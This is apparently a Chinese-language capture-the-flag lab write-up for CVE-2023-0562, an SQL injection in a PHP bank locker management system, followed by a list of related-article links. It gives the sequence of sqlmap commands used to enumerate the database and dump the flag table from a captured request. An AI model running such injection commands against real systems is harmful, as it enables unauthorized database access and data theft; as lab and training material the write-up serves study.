春秋云境CVE-2023-0562

简介

银行储物柜管理系统是一个基于网络的应用程序,用于处理存储银行客户贵重物品的银行储物柜。储物柜的所有详细信息都保存在数据库中。银行储物柜管理系统项目是使用 PHP 和 MySQLi 扩展开发的。

正文

进入靶场,首先就看到有个bankers,点进去一看发现是个登录界面,那么我就开始尝试弱口令爆破发现没用,然后修改密码,需要邮箱和电话,恰好在主页有邮箱和电话,我尝试输入进去,然后发现这根本就是一个陷阱,没有用。

找到注入点

发现这里有个输入的地方,随便输入进去发现是个查询功能,那么就可能存在sql注入,那就话不多说,抓包上sqlmap

开始抓包

sqlmap开爆

python sqlmap.py -r 2.txt -batch -dbs

python sqlmap.py -r 2.txt -batch -D blmsdb -tables

>python sqlmap.py -r 2.txt -batch -D blmsdb -T fllllaaaag -columns

拿下靶场

python sqlmap.py -r 2.txt -batch -D blmsdb -T fllllaaaag -C flag -dump

相关推荐
2501_9387918330 分钟前
服务器镜像安全:Docker 镜像漏洞扫描(Trivy)与基础镜像优化
服务器·安全·docker
Swift社区1 小时前
Lombok 不生效 —— 从排查到可运行 Demo(含实战解析)
java·开发语言·安全
wanhengidc2 小时前
服务器硬盘的作用都有哪些?
运维·服务器·安全·智能手机·云计算
一生要强的ymy3 小时前
Polarctf 写shell
安全·web安全·网络安全·系统安全·安全威胁分析
字节跳动安全中心4 小时前
开源!可信MCP,AICC机密计算新升级!
安全·llm·mcp
今日说"法"4 小时前
Rust 代码审查清单:从安全到性能的关键校验
开发语言·安全·rust
金仓拾光集4 小时前
「安全升级 + 零代码平替」金仓数据库如何实现MongoDB社交动态发布系统的无缝迁移?
数据库·安全·mongodb·kingbase·kingbasees·数据库平替用金仓·金仓数据库
网络安全-海哥5 小时前
Web安全深度实战:从漏洞挖掘到安全防护
网络·web安全·网络安全·网络攻击·转行
FairGuard手游加固6 小时前
Cocos资源加密方案解析
安全·游戏·cocos2d
2501_938791837 小时前
API 接口安全:用 JWT + Refresh Token 解决 Token 过期与身份伪造问题
安全